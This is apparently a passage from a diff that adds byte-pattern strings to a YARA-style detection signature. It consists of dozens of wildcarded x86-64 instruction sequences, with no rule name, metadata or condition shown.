+		$268498674_202 = { 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F B7 ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 83 ?? ?? ?? ?? 0F 86 }
+		$268469893_197 = { 44 ?? ?? 4A ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 44 ?? ?? 4A ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? 4A ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 44 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 44 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 ?? ?? 4C ?? ?? ?? EB }
+		$268529344_184 = { 5? 5? 5? 5? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 45 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? 66 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? F2 ?? ?? ?? ?? 48 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 41 ?? ?? ?? 0F 10 ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 0F 11 ?? ?? ?? ?? ?? 0F 11 ?? ?? 0F 11 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 44 ?? ?? 0F 11 ?? ?? FF 5? ?? 8B ?? 85 ?? 79 }
+		$268506144_165 = { 48 ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 49 ?? ?? 4C ?? ?? 44 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? 44 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 44 ?? ?? 41 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$268445686_154 = { 48 ?? ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? 33 ?? 33 ?? FF 1? ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? 33 ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 45 ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 44 ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? 89 ?? ?? ?? 4D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268530223_145 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 0F 10 ?? ?? F2 ?? ?? ?? ?? 0F 29 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F 10 ?? ?? F2 ?? ?? ?? ?? 48 ?? ?? ?? 0F 29 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F 10 ?? ?? F2 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 29 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$268529698_136 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 0F 10 ?? ?? F2 ?? ?? ?? ?? 0F 29 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F 10 ?? ?? F2 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F 29 ?? ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 75 }
+		$268519016_131 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? 4B ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 33 ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? F7 ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? 42 ?? ?? ?? ?? 4E ?? ?? ?? ?? 6B ?? ?? 48 ?? 4C ?? ?? 0F 8E }
+		$268518816_127 = { 48 ?? ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 44 ?? ?? 8B ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268522402_126 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 03 ?? 48 ?? ?? ?? 4D ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 44 ?? ?? 89 ?? ?? ?? ?? ?? 4D ?? ?? 45 ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$268534864_123 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 49 ?? ?? 4C ?? ?? 45 ?? ?? 41 ?? ?? 44 ?? ?? ?? ?? 41 ?? ?? ?? 4C ?? ?? ?? 0F 85 }
+		$268509936_115 = { 4C ?? ?? ?? ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 03 ?? 8B ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 82 }
+		$268516256_114 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 41 ?? 41 ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 4D ?? ?? 4C ?? ?? 33 ?? E8 ?? ?? ?? ?? 8D ?? ?? 48 ?? ?? ?? 33 ?? 44 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 4C ?? ?? ?? 45 ?? ?? 33 ?? 48 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268515483_111 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? 0F 86 }
+		$268454000_107 = { 48 ?? ?? ?? ?? 5? 5? 5? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$268453664_104 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 49 ?? ?? 48 ?? ?? 33 ?? 48 ?? ?? ?? ?? 33 ?? 44 ?? ?? ?? 45 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$268464239_102 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F B7 ?? 66 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 75 }
+		$268543017_96 = { 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? 33 ?? 48 ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$268454624_95 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 49 ?? ?? 45 ?? ?? 4C ?? ?? 48 ?? ?? ?? 45 ?? ?? ?? 45 ?? ?? 33 ?? 4C ?? ?? ?? 4C ?? ?? ?? 44 ?? ?? ?? 41 ?? ?? 41 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268469280_94 = { 48 ?? ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? B8 ?? ?? ?? ?? 4D ?? ?? 8B ?? 4C ?? ?? 66 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 44 ?? ?? ?? 44 ?? ?? ?? ?? 4C ?? ?? ?? 41 ?? ?? 41 ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268480382_94 = { 41 ?? ?? ?? 48 ?? ?? ?? 33 ?? 66 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? ?? ?? 48 ?? ?? ?? 4D ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 4E ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? 45 ?? ?? 8D ?? ?? 4C ?? ?? 66 ?? ?? ?? 0F B7 ?? 66 ?? ?? 74 }
+		$268540899_92 = { 44 ?? ?? ?? ?? ?? ?? 48 ?? ?? 41 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? ?? 4D ?? ?? 4C ?? ?? ?? 48 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 49 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 49 ?? ?? 89 ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 85 ?? 0F 84 }
+		$268466378_92 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? 4D ?? ?? BA ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? 33 ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268477782_91 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 33 ?? 45 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? 44 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? FF 5? ?? 85 ?? 0F 88 }
+		$268523872_88 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 41 ?? 41 ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 4D ?? ?? 41 ?? ?? 4C ?? ?? 33 ?? 48 ?? ?? ?? 44 ?? ?? ?? 45 ?? ?? 33 ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268461472_88 = { 5? 5? 5? 5? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? 4C ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? 41 ?? ?? 45 ?? ?? 4C ?? ?? ?? 0F 84 }
+		$268449716_87 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268483152_86 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 5? 41 ?? 41 ?? 48 ?? ?? 48 ?? ?? ?? 33 ?? 4D ?? ?? 49 ?? ?? 48 ?? ?? ?? 48 ?? ?? 89 ?? ?? 44 ?? ?? ?? 45 ?? ?? BA ?? ?? ?? ?? 45 ?? ?? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? 0F 84 }
+		$268518128_85 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 41 ?? 41 ?? 48 ?? ?? ?? 33 ?? 49 ?? ?? 4C ?? ?? 48 ?? ?? ?? 21 ?? ?? C7 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? 45 ?? ?? BA ?? ?? ?? ?? 45 ?? ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$268458586_83 = { 44 ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 44 ?? ?? ?? 45 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? C1 ?? ?? 41 ?? ?? 6B ?? ?? C1 ?? ?? 81 E? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 3B ?? 0F 82 }
+		$268447593_82 = { 0F BE ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? C1 ?? ?? 8D ?? ?? 88 ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? C1 ?? ?? 0F BE ?? ?? ?? 83 ?? ?? C1 ?? ?? 03 ?? 88 ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? C1 ?? ?? 0F BE ?? ?? ?? 03 ?? 88 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? EB }
+		$268494007_82 = { 41 ?? ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? 49 ?? ?? 41 ?? ?? 41 ?? ?? 0F AF ?? 41 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 44 ?? ?? ?? 49 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? 44 ?? ?? 0F 82 }
+		$268463202_82 = { 83 ?? ?? ?? ?? 83 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? 33 ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 45 ?? ?? ?? EB }
+		$268481984_81 = { 48 ?? ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? 48 ?? ?? ?? 45 ?? ?? 4D ?? ?? 4C ?? ?? 4C ?? ?? 33 ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? 41 ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? 44 ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 45 ?? ?? ?? 0F 84 }
+		$268447291_81 = { 0F BE ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? C1 ?? ?? 8D ?? ?? 88 ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? C1 ?? ?? 0F BE ?? ?? ?? 83 ?? ?? C1 ?? ?? 03 ?? 88 ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? C1 ?? ?? 0F BE ?? ?? ?? 03 ?? 88 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? EB }
+		$268508143_79 = { 48 ?? ?? ?? ?? F2 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF C? F2 ?? ?? ?? ?? 89 ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? 0F 10 ?? ?? ?? 48 ?? ?? ?? ?? 0F 29 ?? ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 85 ?? 78 }
+		$268507690_79 = { F2 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF C? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? F2 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 48 ?? ?? 0F 10 ?? ?? ?? 48 ?? ?? ?? ?? 0F 29 ?? ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 88 }
+		$268444438_78 = { 21 ?? ?? ?? ?? ?? 21 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268455952_78 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 41 ?? 41 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 49 ?? ?? 4D ?? ?? 44 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268454723_77 = { 45 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 4C ?? ?? ?? 4C ?? ?? ?? ?? 45 ?? ?? ?? 45 ?? ?? ?? 48 ?? ?? ?? 45 ?? ?? 44 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$268533808_77 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 41 ?? 48 ?? ?? ?? 33 ?? 4D ?? ?? 49 ?? ?? 48 ?? ?? ?? 48 ?? ?? 89 ?? ?? 44 ?? ?? ?? 45 ?? ?? BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$268468656_77 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 5? 5? 41 ?? 48 ?? ?? ?? 33 ?? 49 ?? ?? 4C ?? ?? 48 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 44 ?? ?? ?? 45 ?? ?? BA ?? ?? ?? ?? 89 ?? ?? 8B ?? C7 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$268499399_75 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 0F B7 ?? 89 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? ?? ?? 0F 86 }
+		$268523019_74 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 48 ?? ?? ?? ?? F7 ?? 4C ?? ?? 1B ?? 45 ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$268479028_73 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? 48 ?? ?? ?? ?? 83 ?? ?? ?? ?? 33 ?? 33 ?? FF 1? ?? ?? ?? ?? 33 ?? 39 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$268540995_73 = { 8B ?? ?? 44 ?? ?? ?? 44 ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 49 ?? ?? 89 ?? ?? ?? ?? ?? 48 ?? ?? ?? 49 ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 45 ?? ?? 85 ?? 0F 84 }
